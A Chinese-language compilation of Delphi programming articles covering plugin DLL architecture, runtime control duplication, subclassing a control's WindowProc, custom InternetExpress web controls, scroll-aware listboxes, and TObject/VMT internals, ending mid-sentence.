6、 消息处理器遍历列表并调用它所包含的函数，把当前的X和Y最小窗口尺寸作为参数传递。要注意，TList类只是存储指针，所以如果想用保存的地址做些什么事情的话，我们必须把指针转换成所需要的类型——在本例中，要转换成TresizeProc。
TResizeProc = procedure (var x, y: Integer); stdcall;
7、 插件过程AlterMinTrackSize（列表中的指针所指向的），接受X和Y值作为可变的var参数并且修改它们。
8、 控制权返回到父应用的消息处理器，按照最小窗口尺寸的新值继续运行下去。
9、 应用程序退出时TList会在主代码的finalization段被释放。
结论

使用该体系结构时，可能利用Delphi提供的package功能是个不错的主意。在通常情况下，我不是一个分割运行时模块的狂热爱好者，但是当你认为任一包含大量代码的Delphi DLL超过200KB时，它就开始变得有意义了。
这篇文章应该还是有些用处的，至少它可以让你思考一些程序设计方面的问题，比如如何让它变得更加灵活。我知道如果我在以前的应用程序中使用一些这种技术的话，我就可以省掉在修改程序方面的好多工作。我并不想把插件作为一种通用的解决方案。很明显，有些情况下额外的复杂度无法验证其正确性，或者应用程序压根儿就不打算把自身搞成几块可扩展的单元。还有一些其它的方法也可以达成同样的效果。Delphi自身提供了一个接口来创作能集成到IDE中的模块，比起我所说明的技术这种方法更加面向对象（或者说更“干净”），而我也确信你可以在自己的应用中模仿这一技术。在运行时加载Delphi包也不是做不到的。探索一下这种可能性吧。
[本文所介绍的技术在Delphi 4下工作的很好。实际上，Delphi 4增加了工程选项，使这类应用程序加强DLL（application-plus-DLL）的开发变得更加容易了。]


运行期复制控件及其子控件

uses
SysUtils, Windows, Messages, Classes, Graphics, Controls,
Forms, Dialogs, ExtCtrls, StdCtrls, IniFiles, TypInfo, Debug;

type
TUniqueReader = Class(TReader)
LastRead: TComponent;
procedure ComponentRead(Component: TComponent);
procedure SetNameUnique(
Reader: TReader;
Component: TComponent;
var Name: string
);
end;

implementation

procedure TUniqueReader.ComponentRead(
Component: TComponent
);
begin
LastRead := Component;
end;

procedure TUniqueReader.SetNameUnique( // sets the name of the read
component to something like "Panel2" if "Panel1" already exists
Reader: TReader;
Component: TComponent; // component being read
var Name: string // Name to use and modify
);
var
i: Integer;
tempname: string;
begin
i := 0;
tempname := Name;
while Component.Owner.FindComponent(Name) <> nil do begin
Inc(i);
Name := Format('%s%d', [tempname, i]);
end;
end;

function DuplicateComponents(
AComponent: TComponent // original component
): TComponent; // returns created new component
procedure RegisterComponentClasses(
AComponent: TComponent
);
var
i : integer;
begin
RegisterClass(TPersistentClass(AComponent.ClassType));
if AComponent is TWinControl then
if TWinControl(AComponent).ControlCount > 0 then
for i := 0 to
(TWinControl(AComponent).ControlCount-1) do

RegisterComponentClasses(TWinControl(AComponent).Controls[i]);
end;

var
Stream: TMemoryStream;
UniqueReader: TUniqueReader;
Writer: TWriter;
begin
result := nil;
UniqueReader := nil;
Writer := nil;

try
Stream := TMemoryStream.Create;
RegisterComponentClasses(AComponent);

try
Writer := TWriter.Create(Stream,
4096);
Writer.Root :=
AComponent.Owner;
Writer.WriteSignature;
Writer.WriteComponent(AComponent);
Writer.WriteListEnd;
finally
Writer.Free;
end;

Stream.Position := 0;
try
UniqueReader := TUniqueReader.Create(Stream, 4096); // create reader
// should probably move these routines into theconstructor
UniqueReader.OnSetName := UniqueReader.SetNameUnique;
UniqueReader.LastRead := nil;

if AComponent is TWinControl then

UniqueReader.ReadComponents(
// read in components and sub-components
TWinControl(AComponent).Owner,
TWinControl(AComponent).Parent,
UniqueReader.ComponentRead
)
else

UniqueReader.ReadComponents(
// read in components
AComponent.Owner,
nil,
UniqueReader.ComponentRead
);
result := UniqueReader.LastRead;
finally
UniqueReader.Free;
end;
finally
Stream.Free;
end;
end;


改变VCL的行为

作者：Jeremy Merrill
译者：周健（Miracle on Delphi/C++ Builder 论坛，^_^）

Modifying VCL Behavior- A Practical Example Using Visual Components

要使一个可视化控件的行为与其默认行为不同，我们通常要从这个原始类继承，创建一个新的控件。本文将介绍如何在不创建新类的情况下动态改变原生Delphi可视化控件的行为。
这可能实现吗？秘密在于在控件之前抢先截获Windows消息。这可以通过使用一个叫做WindowProc的TControl属性来实现，这个属性实质上指向控件的Windows消息事件处理器（event handler）。
为了展示这一技术，我们将创建一个LinkedLabel控件，可以将它连接到任何TControl控件并且动态改变它的行为。TLinkedLabel由TLabel继承而来，附加4个公开的属性：
&#61548; Associate —— 将被改变行为的相连控件
&#61548; CapsLock —— 当这个Boolean属性被设置为True时，特定类型的控件将把小写键盘输入作为大写来处理。这个属性并不对所有控件有效，因为并不是所有的控件都以相同的方式相应WM_CHAR消息。经测试Edit，MaskEdit，Memo，和RichEdit控件都对CapsLock属性有响应，但是ComboBox则不响应。很明显，CapsLock属性对于很多其他控件（如Button、CheckBox等）只有很小的影响，或者没有影响。
&#61548; Gap —— LinkedLabel与相连控件的距离
&#61548; OnTop —— 这个Boolean属性决定LinkedLabel出现在相连控件的左侧还是顶端。
另外，TlinkedLabel将保持自身和相连控件的Enabled和Visible属性相一致。它也会保持自身和相连控件的距离和角度，也就是说，当你移动LinkedLabel时，其关联也会随之移动，反之亦然。
我们来看一下TLinkedLabel类的声明，如图1所示。
unit LinkedLabel;

interface

uses
Messages, Classes, Controls, StdCtrls;

type
TLinkedLabel = class(TLabel)
private
// 相连控件.
FAssociate: TControl;
// 将 FAssociate 置为全大写模式
FCapsLock: Boolean;
// 标签与关联控件之间的距离
FGap: Integer;
// 标签在关联控件顶端时为true
FOnTop: Boolean;
// 保存 FAssociate.WindowProc的原始值
FOldWinProc: TWndMethod;
// 用于防止无限更新循环
FUpdating: Boolean;
protected
procedure Adjust(MoveLabel: Boolean);
procedure SetGap(Value: Integer);
procedure SetOnTop(Value: Boolean);
procedure SetAssociate(Value: TControl);
procedure NewWinProc(var Message: TMessage);
procedure Notification(AComponent: TComponent;
Operation: TOperation); override;
procedure WndProc(var Message: TMessage); override;
public
constructor Create(AOwner :TComponent); override;
destructor Destroy; override;
published
property Associate: TControl
read FAssociate write SetAssociate;
property CapsLock: Boolean
read FCapsLock write FCapsLock;
property Gap: Integer read FGap write SetGap default 8;
property OnTop: Boolean read FOnTop write SetOnTop;
end;
图1：TLinkedLabel 类的声明
现在让我们来仔细看看这个控件中的不同方法，先由构造器（constructor）开始。首先说明一下，当创建一个新对象时，与它相关联的所有内存都被清空。这个动作将会自动把Fassociate和FoldWinProc设置为nil，将FcapsLock、FonTop、Fupdating设置为False。所有这些都不需要在构造器中明确的初始化它们。因此，唯一需要我们在构造器中设置的就是Gap的默认值。
implementation

constructor TLinkedLabel.Create(AOwner: TComponent);
begin
inherited;
FGap := 8;
end;
现在我们来看一下Adjust方法，它负责安排LinkedLabel或者关联控件的放置（取决于MoveLabel参数的取值）。正如你将在代码中看到的，LinkedLabel与相关控件的实际位置取决于Gap和OnTop属性（见图2）。虽然我们在OnTop中只提供了两种可能的选择，不过可以很容易的对其编程以提供更多的可能性。不过，把TlinkedLabel武装到牙齿（原文是“add a lot of "bells and whistles"”，译者注）并不是本文的重点，这项任务就委托给读者们来完成吧。
procedure TLinkedLabel.Adjust(MoveLabel: Boolean);
var
dx, dy: Integer;
begin
if (Assigned(FAssociate)) then begin
if (FOnTop) then
begin
dx := 0;
dy := Height + FGap;
end
else
begin
dx := Width + FGap;
dy := (Height - FAssociate.Height) div 2;
end;
if (MoveLabel) then
begin
Left := FAssociate.Left - dx;
Top := FAssociate.Top - dy;
end
else
begin
FAssociate.Left := Left + dx;
FAssociate.Top := Top + dy;
end;
end;
end;
图 2：Adjust 方法
现在，我们来完成Gap和OnTop属性的set方法（见图3），以便当Gap或者Onop属性被修改时我们可以改变LinkedLabel的位置。
procedure TLinkedLabel.SetGap(Value: Integer);
begin
if (FGap <> Value) then
begin
FGap := Value;
Adjust(True);
end;
end;

procedure TLinkedLabel.SetOnTop(Value: Boolean);
begin
if (FOnTop <> Value) then
begin
FOnTop := Value;
Adjust(True);
end;
end;
图3： Gap和OnTop属性的set方法
现在是SetAssociate方法（见图4）。
procedure TLinkedLabel.SetAssociate(Value: TControl);
begin
if (Value <> FAssociate) then begin
if (Assigned(FAssociate)) then
FAssociate.WindowProc := FOldWinProc;
FAssociate := Value;
if (Assigned(Value)) then
begin
Adjust(True);
Enabled := FAssociate.Enabled;
Visible := FAssociate.Visible;
FOldWinProc := FAssociate.WindowProc;
FAssociate.WindowProc := NewWinProc;
end;
end;
end;
图4：SetAssociate 方法
为了便于理解，我们需要详细的讨论一下WindowProc属性。WindowProc被定义为TwndMethod类型。TwndMethod可以在Controls单元中找到，定义如下：
TWndMethod = procedure(var Message: TMessage) of object;
注意，FoldWinProc同样被定义为TwndMethod，并且NewWinProc方法拥有与TwndMethod相同的参数结构。这就允许我们将FoldWinProc指向WindowProc的当前值，并把WindowProc重定向到NewWinProc方法。如果WindowProc只是另一个事件属性的话，我们为什么需要使用FoldWinProc呢？因为WindowProc与其它事件属性的不同之处在于WindowProc指向一个已经存在的事件处理器。如果我们只是简单的将WindowProc指向我们的方法，这个控件将不能再对任何Windows消息产生响应。为了解决这个问题，我们在把WindowProc指向NewWinProc之前把FoldWinProc设置为WindowProc的当前值。
在NewWinProc中，我们通过FoldWinProc调用原先的消息处理器（message handler），并且处理特定的Windows消息。因为我们修改了关联控件的WindowProc值，因此要在把关联改变到一个新的控件之前恢复它从前的取值。
避免把关联控件的WindowProc属性指向一个不再存在的例程也同样重要。如同我们所见的，在析构器中调用SetAssociate(nil)将会把WindowProc恢复为初始值。
destructor TLinkedLabel.Destroy;
begin
SetAssociate(nil);
inherited;
end
另外，我们也不希望关联到一个不再存在控件。通过覆盖Notification方法，我们可以知道关联组件何时被销毁，从而重置关联的指针：
procedure TLinkedLabel.Notification(AComponent: TComponent;
Operation: TOperation);
begin
if ((Operation = opRemove) and
(AComponent = FAssociate)) then
SetAssociate(nil);
end;
现在我们来看NewProc方法（见图5）。这里，我们只是寻找发送给关联控件的特定Windows消息。认识到这一点是很重要的：虽然方法通过关联控件调用，但它实际上是LinkedLabel的一部分，例如，Self=LinkedLabel，而不是关联控件。这对为一个按钮创建onclick事件处理器来说也是一样的，onclick事件处理器是作为按钮父窗体的一部分，而不是扩充Tbutton类的新方法。
procedure TLinkedLabel.NewWinProc(var Message: TMessage);
var
Ch: Char;
begin
if (Assigned(FAssociate) and (not FUpdating)) then begin
FUpdating := True;
try
case(Message.Msg) of
WM_CHAR:
if (FCapsLock) then begin
Ch := Char(TWMKey(Message).CharCode);
if (Ch >= 'a') and (Ch <= 'z') then
TWMKey(Message).CharCode := ord(UpCase(Ch));
end;
CM_ENABLEDCHANGED:
Enabled := FAssociate.Enabled;
CM_VISIBLECHANGED:
Visible := FAssociate.Visible;
WM_SIZE, WM_MOVE, WM_WINDOWPOSCHANGED:
Adjust(True);
end;
finally
FUpdating := False;
end;
end;
FOldWinProc(Message);
end;
图5: NewWinProc 方法。
如果你检查一下这个例程，就会发现我们并没有花多少力气去处理Windows消息。我们只注意几个特定的消息，然后就让关联通过调用FOldWinProc正常的处理它们。在处理WM_CHAR消息的时候，我们对消息的一部分做了改变，让控件认为我们按下的是大写字母键。
最后，我们关心一下两个不同的消息，以确定关联控件是否被移动了。这样做的原因在于从TwinControl继承的控件会在它们被移动时接到WM_MOVE消息，而此时其它的可视控件（如一个标签）则会收到WM_WINDOWPOSCHANGED消息。程序也检查了WM_SIZE消息，原因是如果OnTop属性为False，则LinkedLabel的位置会随控件的高度而变化。
我们这个控件的最后一个方法是：当LinkedLabel被改变时，要在关联的什么地方作修改（见图6）？当然我们不使用覆盖Tlabel的现存方法来实现它，而是要用修改关联行为的相同技术来做。注意我们不是重新定向WindowsProc属性，而是覆盖了WndProc方法。为什么把它们叫做相同的技术呢？如果你看一下TControl的构造器，你可以发现WindowProc会被初始化以指向WndProc方法。所以从本质上讲，我们覆盖的是同一种方法，不过做得更“干净”，也不用去保存WindowProc的初始值。
procedure TLinkedLabel.WndProc(var Message: TMessage);
begin
if (Assigned(FAssociate) and (not FUpdating)) then begin
FUpdating := True;
try
case(Message.Msg) of
CM_ENABLEDCHANGED: FAssociate.Enabled := Enabled;
CM_VISIBLECHANGED: FAssociate.Visible := Visible;
WM_WINDOWPOSCHANGED: Adjust(False);
end;
finally
FUpdating := False;
end;
end;
inherited;
end;
图 6: 我们没有重新定向WindowsProc属性，而是覆盖了WndPro方法
对于刚刚完成的控件还有最后一点需要注意。你也许发现NewWinProc和WndProc中都使用了Fupdating。这个变量被用来通知LinkedLabel和它的关联控件其它控件正在发生改变。如果你忽略了这一步，很容易造成一个无限的更新循环，或者其它无法预料的结果。下面是一个事件流程，显示为什么需要Fupdating变量。
&#61623; 用户把 LinkedLabel 拖动到一个新位置。
&#61623; WndProc 接收到一个 WM_WINDOWPOSCHANGED 消息，并且触发 Adjust(False) 来移动关联控件。
&#61623; 作为对关联控件调整的一部分，Adjust 把FAssociate.Left设置为新值。
&#61623; FAssociate 触发 WM_MOVE 消息，指出它已经改变了位置。
&#61623; NewWinProc 监测到 WM_MOVE 消息并调用 Adjust(True) 以修改 LinkedLabel 的位置配合关联控件的移动。
如你所见，在关联控件试图移动LinkedLabel之前我们没有什么机会改变关联控件的Top属性来配合LinkedLabel的新位置。通过使用Fupdating变量，关联控件不会注意到WM_MOVE消息，也不会试图调用Adjust来重新布置LinkedLabel。
一对问题
在这篇文章中我没有提及TlinkedLabel的一对问题。下面是对它们的大致说明：
&#61623; 如果你把两个或者两个以上LinkedLabel关联到同一个控件然后释放它们之中的一个或者几个，就可能导致各种各样的问题。你可能会打断到其它LinkedLabel的关联，甚至可能导致被关联控件的WindowProc指向一个并不存在的历程。
&#61623; 如果你把 LinkedLabel 关联到另一个窗体上的控件，那么Notification 方法在那个控件被销毁时不会被调用。当控件被关联时调用 FreeNotification 可以解决这个问题，但这并没有真正指出问题所在。真正的问题在于我们允许它被关联在其它窗体的控件上。其实我们真正想实现的是把LinkedLabel与拥有相同Parent的控件相关联。虽然这么做并不难，不过要只在对象查看器的Associate属性下拉列表中显示符合条件的控件也需要一些小技巧。
结论
其实结论也没多少东西。替换现存控件的WindowProc确实有它的局限性，不过这毕竟是一种非常有用的技术。我想不出什么其它合适的方法来创建一个像TlinkedLabel这样的控件，让关联控件在被移动时也一并移动LinkedLabel。我可不想去尝试并且列出这种技术其它可能的用法，因为这种可能性是无限的，它只会被一个程序员的灵活性所局限。

--------------------------------------------------------------------------------


设定TDateTimePicker的日期格式

DateTimePicker1.Perform(DTM_SETFORMAT, 0, DWORD(PCHAR('MM/dd/yyyy')));


编写InterExpress控件

在InternetExpress中支持一些有别于VCL TComponent控件的控件，如QueryForm等，它们都能生成html代码以在浏览器中显示自己，这些控件主要的不同之处在于它们都是接口。

本文的目标就是展示如何自己编写可在DataForm或QueryForm里使用的InternetExpress自制控件。在开始之前最重要的是搞清楚MidItems单元。它包含有TWebForm构件的定义，它是所有InternetExpress-aware构件的起点。从它衍生出两个类：TDataForm和TQueryForm。实际上TQueryForm是从TCustomQueryForm继承来的，TCustomQueryForm是TWebForm的子类并且实现了IQueryForm接口。IQueryForm是一个没有方法的接口，也许偶尔可以用来在运行时区分DataForm和QuyeryForm（不然实在没办法解释为什么会在首要位置使用一个空的接口）。
实际的子构件也可以在MidItems单元时里找到，包括TFieldText、TTextColumn和TQueryText。它们的祖先类是TWebTextInput，也我们自制InternetExpress控件的基类，TWebTextInput拥有许多我们应该重载或实现的有趣的方法。最有趣的方法是ControlContents和AddAtrributes，它们是用来生成代表控件的HTML代码。正是它们使得RadioButton成其为无线钮、CheckBox成其为检查框。//后面会讲到，已经用过InternetExpress和页面编辑器的程序员可能注意到了：我们有几乎每一种HTML控制可用，除了Check box。我也觉得很奇怪，不过也没什么关系。
Latest News: John Kaster of Borland DevRel told me the reason they didn't implement checkbox support (yet). The state of the checkbox when off is indeterminate -- no value is passed back UNLESS the checkbox is turned on.
Borland hasn't found a solution they like, yet, and you'll be facing the same problem with my component. We're still working on that, so stay tuned...

TWebTextInput AddAttributes方法定义如下：
procedure TWebTextInput.AddAttributes(var Attrs:string);
begin
AddQuotedAttrib(Attrs,'NAME',GetHTMLControlName);
AddIntAttrib(Attrs,'SIZE',DisplayWidth);
AddIntAttrib(Attrs,'TABINDEX',TabIndex);
AddQuotedAttrib(Attrs,'STYLE',Style);
AddQuotedAttrib(Atrtrs,'CLASS',StyleRule);
AddCustomAttrib(Attrs,Custom);
end;
先不管AddQuotesAttrib和AttIntAttrib等方法，相信你能够接受AddAttributes方法输出HTML控制名字(a lookup function)、DisplayWidth、TabIndex,Style和StyleRule到一个字符串Attrs里了。ControlContents方法则使用该字符串生成我们需要的完整的HTML代码。要加入特定的HTML型控件，需要重载ControlContent方法，并使用Attrs作为上面的AddAttributes方法的返回值。

TWebCheckBox
要制作我们的简单的WebCheckBox控件，需要从TWebTextInput派生一个类，并重载ControlContents方法，新类的定义及实现如下：
type
TWebCheckbox=class(TWebTextInput)
protected
function ControlContent(Opetions:TWebContentOptions):string:override;
published
property DisplayWidth;
property ReadOnly;
property Caption
property CaptionAttributes;
property CaptionPosition;
property TabIndex;
property Style;
property Cutsom;
property StyleRule;
end;

impleamentation

function
TWebCheckbox.ControlContent(Opetions:TWebContentOptions):string;
var
Attrs:string;
begin
AddAttributes(Attrs);
Result:=Format('<INPUT
TYPE=CHECKBOX %0:s>',[Attrs]);
end;

就这么简单，等会我们注册这个控件之后（方式见本文最后），就可以在Web Page Editor里看到它了，所以现在就可以在我们的InternetExpress应用程序里使用了。然而，这个控件只能作为DataForm的子对象，要想能作为QueryForm的子对象显示，还得做些特别的事情：
TQueryCheckBox
要让一个InternetExpress控件与QueryForm配合工作，需要加入一个接口定义并实现之（新鲜，不实现加它干嘛）。我们从前面的TWebCheckBox派生一个新的TQueryCheckBox，并实现IQueryField接口以形成一个新的可加到QueryForm里的InternetExpress自制控件。在动手之前，先看一眼IQueryField接口，如下：
type
IQueryField=interface(IHTMLField)
['{7C3211150-FCFB-11D2-AFC3-00C04FB16EC3}']
funtcion GetParamName:string;
procedure SetParamName(AParamName:string);
function GetText:string;
procedure SetText(const Value:string);
property ParamName:string read GetParamName write SetParamName;
property Text:string read GEtTExt write SetText;
end;
这意味着任何实现了IQueryField接口的类都得实现接口里定义的方法。咱们的TQueryCheckBox类的定义和实现如下（注意，咱们只实现了GetText/SetText方法，没有实现ParamName方法）：
type
TQueryCheckbox=class(TWebCheckbox,IQueryField)
private
FText:string;
protected
function GetText:string;
procedure SetText(const VAlue:string);
public
class function IsQueryField:Boolean;voerride;
end;

implementation

class function TQeryCheckbox.IsQueryField:boolean;
begin
Result:=True;
end;
funciton TQueryCheckbox.GetText:string;
begin
Result :=FText;
end;
procedure TQueryCheckbox.SetText(const Value:string);
begin
FText:=Value;
end;
做为IQueryField接口的一部份，类方法IsQueryField确保任何构件可以"introspect" TQueryCheckBox构件，显然，它只对QueryForms有意义。(introspect，内省，意即构件通过在此回答“你是QueryField吗？”，上面的例子回答“是的”，已经表明心迹，QueryForm可以相信其是Query家族的成员，可以做为自己的子对象。呵呵，什么时候girl们实现这么一个方法就好了)。
Registration
最后一个任务，比起实现这些控件要复杂一些，是注册这些控件。由于我们处理的不是常规出现于控件面板的控件，需要用一个不同的方法进行注册也就不足为奇了。这回得用RegisterWebComponents过程，它接受一个InternetExpress控件数组及一个可选的(控件)编辑器参数。我们只需要做个简单的调用：
procedure Register
begin
RegisterWebComponets([TWebCheckBox,TQueryCheckBox]);
end;


处理滚动消息的列表框

unit Listbob;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;

type
TListBob = class(tlistbox)
private
{ Private declarations }
FOnHScroll: TNotifyEvent;
FOnVScroll: TNotifyEvent;
protected
{ Protected declarations }
procedure WMHScroll(var Message: TWMHScroll); message WM_HSCROLL;
procedure WMVScroll(var Message: TWMVScroll); message WM_VSCROLL;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
published
{ Published declarations }
property OnHScroll: TNotifyEvent read FOnHScroll write FOnHScroll;
property OnVScroll: TNotifyEvent read FOnVScroll write FOnVScroll;
end;

procedure Register;

implementation

constructor TListBob.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FOnHScroll := nil;
FOnVScroll := nil;
end;

 procedure TListBob.WMHScroll(var Message: TWMHScroll);
{
please note that this message get's called twice!!
}
begin
if Assigned(FOnHScroll) then
FOnHScroll(Self);
DefaultHandler(Message);
end;

 procedure TListBob.WMVScroll(var Message: TWMHScroll);
{
please note that this message get's called twice!!
}
begin
if Assigned(FOnVScroll) then
FOnVScroll(Self);
DefaultHandler(Message);
end;

procedure Register;
begin
RegisterComponents('Dr.Bob', [TListBob]);
end;

end.
//////////////////////////////////////
unit exlist;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TScrollNotification = Procedure (Const Msg: TWMScroll; Var dontScroll:
Boolean )
of Object;

  TExListbox = class(TCustomListbox)
private
{ Private declarations }
FOnVScroll, FOnHScroll: TScrollNotification;
protected
{ Protected declarations }
Procedure WMVScroll( Var msg: TWMScroll ); message
WM_VSCROLL;
Procedure WMHScroll( Var msg: TWMScroll );
message WM_HSCROLL;
public
{ Public declarations
}
published
{ Published declarations
}
property Align;
property
BorderStyle;
property Color;
property Columns;
property Ctl3D;
property DragCursor;
property
DragMode;
property Enabled;
property
ExtendedSelect;
property Font;
property IntegralHeight;
property
ItemHeight;
property Items;
property
MultiSelect;
property ParentColor;
property ParentCtl3D;
property
ParentFont;
property ParentShowHint;
property PopupMenu;
property
ShowHint;
property Sorted;
property
Style;
property TabOrder;
property
TabStop;
property TabWidth;
property
Visible;
property OnClick;
property
OnDblClick;
property OnDragDrop;
property OnDragOver;
property
OnDrawItem;
property OnEndDrag;
property OnEnter;
property OnExit;
property OnKeyDown;
property
OnKeyPress;
property OnKeyUp;
property OnMeasureItem;
property
OnMouseDown;
property OnMouseMove;
property OnMouseUp;
property OnStartDrag;

property OnVScroll: TScrollNotification read FOnVScroll write
FOnVScroll;
property OnHScroll: TScrollNotification read FOnHScroll write
FOnHScroll;

end;

procedure Register;

implementation

Procedure TExListbox.WMVScroll( Var msg: TWMScroll );
Var
dontScroll: Boolean;
Begin
If Assigned(FOnVScroll) Then Begin
dontScroll := False;
FOnVScroll( msg, dontScroll );
If dontScroll Then
Exit;
End;
inherited;
End;

Procedure TExListbox.WMHScroll( Var msg: TWMScroll );
Var
dontScroll: Boolean;
Begin
If Assigned(FOnHScroll) Then Begin
dontScroll := False;
FOnHScroll( msg, dontScroll );
If dontScroll Then
Exit;
End;
inherited;
End;

procedure Register;
begin
RegisterComponents('PBGoodies', [TExListbox]);
end;

end.


类体系基础

在使用DELPHI开发软件的过程中，我们就像草原上一群快乐牛羊，无忧无虑地
享受着Object Pascal语言为我们带来的阳光和各种VCL控件提供的丰富的水
草。抬头望望无边无际蔚蓝的天空，低头品尝大地上茂密的青草，谁会去想宇宙
有多大，比分子和原子更小的东西是什么？那是哲学家的事。而哲学家此时正坐
在高高的山顶上，仰望宇宙星云变换，凝视地上小虫的爬行，蓦然回头，对我们
这群吃草的牛羊点头微笑。随手扯起一根小草，轻轻地含在嘴里，闭上眼睛细细
品尝，不知道这根青草在哲学家的嘴里是什么味道？只是，他的脸上一直带着满
意的微笑。
认识和了解DELPHI微观的原子世界，可以使我们
彻底理解DELPHI的宏观应用程序结构，从而在更广阔的思想空间中开发我们的
软件。这就好像，牛顿发现了宏观物体的运动，却因为搞不清物体为什么会这样
运动而苦恼，相反，爱因斯坦却在基本粒子规律和宏观物体运动之间体验着相对
论的快乐生活！

第一节 TObject原子
TObject是什么？
是Object Pascal语言体系结构的基本核心，也是
各种VCL控件的起源。我们可以认为，TObject是构成DELPHI应用程序的原子之
一，当然，他们又是由基本Pascal语法元素等更细微的粒子构成。
说TObject是DELPHI程序的原子，是因为TObject
是DELPHI编译器内部支持的。所有的对象类都是从TObject派生的，即使你并未
指定TObject为祖先类。TObject被定义在System单元，它是系统的一部分。在
System.pas单元的开头，有这样的注释文本：
{ Predefined constants, types, procedures, }
{ and functions (such as True, Integer, or }
{ Writeln) do not have actual declarations.}
{ Instead they are built into the compiler }
{ and are treated as if they were declared }
{ at the beginning of the System unit. }
它的意思说，这一单元包含预定义的常量、类型、
过程和函数（诸如：Ture、Integer或Writeln），它们并没有实际的声明，而
是编译器内置的，并在编译的开始就被认为是已经声明的定义。你可以将
Classes.pas或Windows.pas等其他源程序文件加入你的项目文件中进行编译和
调试其源代码，但你绝对无法将System.pas源程序文件加入到你的项目文件中
进行编译！DELPHI将报告重复定义System的编译错误！
因此，TObject是编译器内部提供的定义，对于我
们使用DELPHI开发程序的人来说，TObject是原子性的东西。
TObject在System单元中的定义是这样的：
TObject = class
constructor Create;
procedure Free;
class function InitInstance(Instance: Pointer): TObject;
procedure CleanupInstance;
function ClassType: TClass;
class function ClassName: ShortString;
class function ClassNameIs(const Name: string): Boolean;
class function ClassParent: TClass;
class function ClassInfo: Pointer;
class function InstanceSize: Longint;
class function InheritsFrom(AClass: TClass): Boolean;
class function MethodAddress(const Name: ShortString): Pointer;
class function MethodName(Address: Pointer): ShortString;
function FieldAddress(const Name: ShortString): Pointer;
function GetInterface(const IID: TGUID; out Obj): Boolean;
class function GetInterfaceEntry(const IID: TGUID): PInterfaceEntry;
class function GetInterfaceTable: PInterfaceTable;
function SafeCallException(ExceptObject: TObject;
ExceptAddr: Pointer): HResult; virtual;
procedure AfterConstruction; virtual;
procedure BeforeDestruction; virtual;
procedure Dispatch(var Message); virtual;
procedure DefaultHandler(var Message); virtual;
class function NewInstance: TObject; virtual;
procedure FreeInstance; virtual;
destructor Destroy; virtual;
end;

下面，我们将逐步敲开TObject原子的大门，看看里面到底是什么结构。

我们知道，TObject是所有对象的基本类，那么，一个对象到底是什么？
DELPHI中的任何对象都是一个指针，这个指针指明该对象在内存
中所占据的一块空间！虽然，对象是一个指针，可是我们引用对象的成员时却不
用写成这样的代码MyObject^.GetName，而只能写成MyObject.GetName，这是
Object Pascal语言扩充的语法，是由编译器支持的。使用C++ Builder的朋友
就很清楚对象与指针的关系，因为在C++ Builder的对象都要定义为指针。对象
指针指向的地方就是对象存储数据的对象空间，我们来分析一下对象指针指向的
内存空间的数据结构。
对象空间的头4个字节是指向该对象类的虚方法地
址表（VMT – Vritual Method Table）。接下来的空间就是存储对象本身成
员数据的空间，并按从该对象最原始祖先类的数据成员到该对象类的数据成员的
总顺序，和每一级类中数据成员的定义顺序存储。
类的虚方法地址表（VMT）保存从该类的原始祖先
类派生到该类的所有类的虚方法的过程地址。类的虚方法，就是用保留字
vritual声明的方法，虚方法是实现对象多态性的基本机制。虽然，用保留字
dynamic声明的动态方法也可实现对象的多态性，但这样的方法不保存在虚方法
地址表（VMT）中，它只是Object Pascal提供的另一种可节约类存储空间的多
态实现机制，但却是以牺牲调用速度为代价的。
即使，我们自己并未定义任何类的虚方法，但该类
的对象仍然存在指向虚方法地址表的指针，只是地址项的长度为零。可是，在
TObject中定义的那些虚方法，如Destroy、FreeInstance等等，又存储在什么
地方呢？原来，他们的方法地址存储在相对VMT指针负方向偏移的空间中。其
实，在VMT表的负方向偏移76个字节的数据空间是对象类的系统数据结构，这些
数据结构是与编译器相关的，并且在将来的DELPHI版本中有可能被改变。
因此，你可以认为，VMT是一个从负偏移地址空间
开始的数据结构，负偏移数据区是VMT的系统数据区，VMT的正偏移数据是用户
数据区（自定义的虚方法地址表）。TObject中定义的有关类信息或对象运行时
刻信息的函数和过程，一般都与VMT的系统数据有关。
一个VMT数据就代表一个类，其实VMT就是类！在
Object Pascal中我们用TObject、TComponent等等标识符表示类，它们在
DELPHI的内部实现为各自的VMT数据。而用class of保留字定义的类的类型，
实际就是指向相关VMT数据的指针。
对我们的应用程序来说，VMT数据是静态的数据，
当编译器编译完成我们的应用程序之后，这些数据信息已经确定并已初始化。我
们编写的程序语句可访问VMT相关的信息，获得诸如对象的尺寸、类名或运行时
刻的属性资料等等信息，或者调用虚方法或读取方法的名称与地址等等操作。
当一个对象产生时，系统会为该对象分配一块内存
空间，并将该对象与相关的类联系起来，于是，在为对象分配的数据空间中的头
4个字节，就成为指向类VMT数据的指针。
我们再来看看对象是怎样诞生和灭亡的。看着我三
岁的儿子在草地上活蹦乱跳，正是由于亲眼目睹过生命的诞生过程，我才能真真
体会到生命的意义和伟大。也只有那些经历过死别的人，才会更加理解和珍惜生
命。那么，就让我们理解一下对象的产生和消亡的过程吧！

我们都知道，用下面的语句可以构造一个最简单对象：
AnObject := TObject.Create;
编译器将其编译实现为：
用TObject对应的VMT为依据，调用TObject的
Create构造函数。而在Create构造函数调用了系统的ClassCreate过程，系统
的ClassCreate过程又通过存储在类VMT调用NewInstance虚方法。调用
NewInstance方法的目的是要建立对象的实例空间，因为我们没有重载该方法，
所以，它就是TObject类的NewInstance。TObjec类的NewInstance方法将根据
编译器在VMT表中初始化的对象实例尺寸（InstanceSize），调用GetMem过程
为该对象分配内存，然后调用InitInstance方法将分配的空间初始化。
InitInstance方法首先将对象空间的头4个字节初始化为指向对象类对应VMT的
指针，然后将其余的空间清零。建立对象实例之后，还调用了一个虚方法
AfterConstruction。最后，将对象实例数据的地址指针保存到AnObject变量
中，这样，AnObject对象就诞生了。
同样，用下面的语句可以消灭一个对象：
AnObject.Destroy;
TObject的析构函数Destroy被声明为虚方法，它
也是系统固有的虚方法之一。Destory方法首先调用了BeforeDestruction虚方
法，然后调用系统的ClassDestroy过程。ClassDestory过程又通过类VMT调用
FreeInstance虚方法，由FreeInstance方法调用FreeMem过程释放对象的内存
空间。就这样，一个对象就在系统中消失。
对象的析构过程比对象的构造过程简单，就好像生
